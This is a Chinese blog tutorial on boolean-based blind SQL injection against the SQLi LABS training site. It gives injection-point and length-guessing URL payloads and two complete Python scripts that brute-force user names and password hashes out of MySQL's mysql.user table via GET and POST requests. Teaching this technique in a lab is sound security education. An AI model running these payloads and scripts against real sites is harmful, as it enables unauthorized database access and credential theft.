布尔盲注怎么用,一看你就明白了。布尔盲注原理+步骤+实战教程
「作者主页」:士别三日wyx
「作者简介」:CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者
「专栏简介」:此文章已录入专栏《网络安全快速入门》
布尔盲注
- 一、适用环境
- 二、盲注步骤
- 三、原理分析
- 1. 长度判断原理
- 2. 穷举字符原理
- 四、步骤总结
- 1. 判断注入点
- 2. 判断长度
- 3. 枚举字符
- 五、盲注脚本
一、适用环境
页面只有登录成功和登录失败这两种情况时,可以使用布尔盲注。
二、盲注步骤
布尔盲注使用时分为两个步骤:
- 使用 length()函数 判断查询结果的长度
- 使用 substr()函数 截取每一个字符,并穷举出字符内容
三、原理分析
接下来,我们以测试网站(SQLi LABS 第5关)为例,解释一下这两个步骤的详细使用方式和注入的原理。
1. 长度判断原理
首先,利用MySQL的 length()函数 判断返回结果的长度是多少。
比如,我们判断 database()当前数据库 的长度,在地址栏输入:
?id=1' and length( database() )=1 -- a
执行流程如下:
页面异常(空)显示,表示猜解长度有误;
页面正常显示,表示猜解长度正确;
依次猜测1,2,3……n,直至长度猜解正确(页面正常显示)。
如上,测试长度1~7一直异常(空)显示,测试长度8时变为正常显示,就意味着查询结果的长度是8.
2. 穷举字符原理
查询结果由一个个字符组成,每一个字符有95种可能性(大小写字母、数字、特殊符号),对应的ASCLL编码是32~126。
推荐文章:ASCLL编码详解,ASCLL编码对照表
使用MySQL的 substr()函数 截取查询结果的第一个字符,使用 ascii()函数 将截取的字符转换成 ASCLL编码,依次判断是否等于32,33,34……126。
页面异常(空)显示,表示猜解失误;
页面正常显示,表示猜解正确;
猜解流程如下:
ASCLL编码 115 对应的字符是 ‘s’,确定第一个字符是:s
上一步已经确定了长度是 8,依次截取第 1~8个字符,并依次判断每个字符的内容。
四、步骤总结
适用情况:页面没有显示位,没有报错信息,只有成功和不成功两种情况。
1. 判断注入点
同时满足以下两种情况:
?id=1' and 1 -- a 正常显示
?id=1' and 0 -- a 异常(空)显示
2. 判断长度
?id=1' and length( 查询语句 )=1 -- a
3. 枚举字符
?id=1 and ascii(substr( 查询语句 ,1,1))=32 -- a
五、盲注脚本
手工盲注的时间复杂度非常大,通常会使用脚本盲注。
get请求盲注脚本:
import requests# 只需要修改url 和 两个payload即可
# 目标网址(不带参数)
url = "http://3534c6c2bffd4225bf3409ae9a2ec278.app.mituan.zone/Less-5/"
# 猜解长度使用的payload
payload_len = """?id=1' and length((select group_concat(user,password)from mysql.user)) < {n} -- a"""
# 枚举字符使用的payload
payload_str = """?id=1' and ascii(substr((select group_concat(user,password)from mysql.user),{n},1)) = {r} -- a"""# 获取长度
def getLength(url, payload):length = 1 # 初始测试长度为1while True:response = requests.get(url= url+payload_len.format(n= length))# 页面中出现此内容则表示成功if 'You are in...........' in response.text:print('测试长度完成,长度为:', length,)return length;else:print('正在测试长度:',length)length += 1 # 测试长度递增# 获取字符
def getStr(url, payload, length):str = '' # 初始表名/库名为空# 第一层循环,截取每一个字符for l in range(1, length+1):# 第二层循环,枚举截取字符的每一种可能性for n in range(33, 126):response = requests.get(url= url+payload_str.format(n= l, r= n))# 页面中出现此内容则表示成功if 'You are in...........' in response.text:str+= chr(n)print('第', l, '个字符猜解成功:', str)break;return str;# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)
post请求盲注脚本:
import requests# 网站路径
url = "http://7eb82265178a435aa86d6728e7b1e08a.app.mituan.zone/Less-13/"
# 判断长度的payload
payload_len = """a') or length((select group_concat(user,password) from mysql.user))>{n} -- a"""
# 枚举字符的payload
payload_str = """a') or ascii(substr((select group_concat(user,password)from mysql.user),{l},1))={n} -- a"""# post请求参数
data= {"uname" : "a') or 1 -- a","passwd" : "1","submit" : "Submit"
}# 判断长度
def getLen(payload_len):length = 1while True:# 修改请求参数data["uname"] = payload_len.format(n = length)response = requests.post(url=url, data=data)# 出现此内容为登录成功if '../images/flag.jpg' in response.text:print('正在测试长度:', length)length += 1else:print('测试成功,长度为:', length)return length;# 枚举字符
def getStr(length):str = ''# 从第一个字符开始截取for l in range(1, length+1):# 枚举字符的每一种可能性for n in range(32, 126):data["uname"] = payload_str.format(l=l, n=n)response = requests.post(url=url, data=data)if '../images/flag.jpg' in response.text:str += chr(n)print('第', l, '个字符枚举成功:',str )breaklength = getLen(payload_len)
getStr(length)
感谢你的点赞、收藏、评论,我是三日,祝你幸福。
布尔盲注怎么用,一看你就明白了。布尔盲注原理+步骤+实战教程相关推荐
- SQL注入分类,一看你就明白了。SQL注入点/SQL注入类型/SQL注入有几种/SQL注入点分类
「作者主页」:士别三日wyx 「作者简介」:CSDN top200.阿里云博客专家.华为云享专家.网络安全领域优质创作者 SQL注入分类 一.数值型注入 二.字符型注入 1)单引号字符型注入 2)双引 ...
- 报错注入是什么?一看你就明白了。报错注入原理+步骤+实战案例
「作者主页」:士别三日wyx 「作者简介」:CSDN top100.阿里云博客专家.华为云享专家.网络安全领域优质创作者 「专栏简介」:此文章已录入专栏<网络安全快速入门> 报错注入 一. ...
- 《别看了,你学不会的》——Redis原理与实战(一)
Redis 安装homebrew 我使用的是macOS操作系统,所以在安装Redis之前还需要先安装homebrew 安装命令,在终端中输入 /bin/bash -c "$(curl -fs ...
- 不愿意和别人打交道_不想麻烦别人,也不希望别人麻烦我,是什么心理?看完就明白...
阅读本文前,请您先点击上面的"蓝色字体",再点击"关注",这样您就可以继续免费收到文章了.每天都有分享,完全是免费订阅,请放心关注. 注:本文转载自网络,侵删 ...
- 看了就会的Next.js SSR SSG实战教程
Next.js是基于React的服务端渲染工具.在传统的React项目中,例如使用Create-React-App创建的项目,最终build生成的静态文件,是基于浏览器渲染的,即所谓的CSR(Clie ...
- php盲测,舌尖上的奶粉,育网鲜肉助阵盲测!
你是否是这样的宝妈? 一走到超市奶粉货架前,看着琳琅满目的产品,无从下手.拿起一罐,从成分看到厂家,从包装看到奶源地,想尝一下口味又无从下手,万一味道不好营养不好质量不高可咋办?神烦!到底怎么挑选好奶 ...
- 医院计算机管理在品管圈中的应用,品管圈在医院管理中怎么用?看完就明白了...
原标题:品管圈在医院管理中怎么用?看完就明白了 品管圈(Quality Circle,QCC),又称"质量小组",是一种企业对基层员工的自主管理.全员品管及持续改善最佳的管理活动, ...
- 一图看懂hadoop分布式文件存储系统HDFS工作原理
一图看懂hadoop分布式文件存储系统HDFS工作原理 转载于:https://www.cnblogs.com/AlexQY/p/9856477.html
- android重置系统,安卓手机越用越卡,恢复出厂设置真有用?别瞎搞,看完就明白了!...
安卓手机越用越卡,恢复出厂设置真有用?别瞎搞,看完就明白了! 现在手机的价格逐渐的开始上升,一部好一点的手机价格还是比较贵的,所以很多人想要节省更多的换机支出,都会想要购买到一款可以使用的比较久的手机 ...
最新文章
- Day 49 Nginx
- 面向对象上机题-迭归算法
- android listview 预加载动画,Android - 使用预加载的数据库填充ListView
- CSS入门学习笔记+案例
- hpux下netbackup无法认到所有磁带机
- markdown 数学公式符号大全
- 在线Base64编码加密解密还原工具
- edge扩展下载失败解决办法
- 谈谈人的视觉特性与电视的关系
- 最全的厚黑学...教你怎样混社会(转...作者不是一般的城府,但这就是中国真实的社交关系,深的很)
- 深入剖析NVMe Over Fabrics
- [UE4]Stat命令
- 英语流利说l4u1p2_L4-U1-P2-3 Vocabulary : Science 英语流利说 懂你英语
- Mysql数据库部分简单整理
- 桌面只能进入计算机,Win7电脑开机无法正常启动只能进入安全模式怎么解决
- ubuntu 找不到libGL.so.1
- 前端页面结构简单介绍
- element form表单validateField对部分表单字段进行校验时触发多次校验
- STM32之RTC时钟
- Python蓝桥杯基础之星期一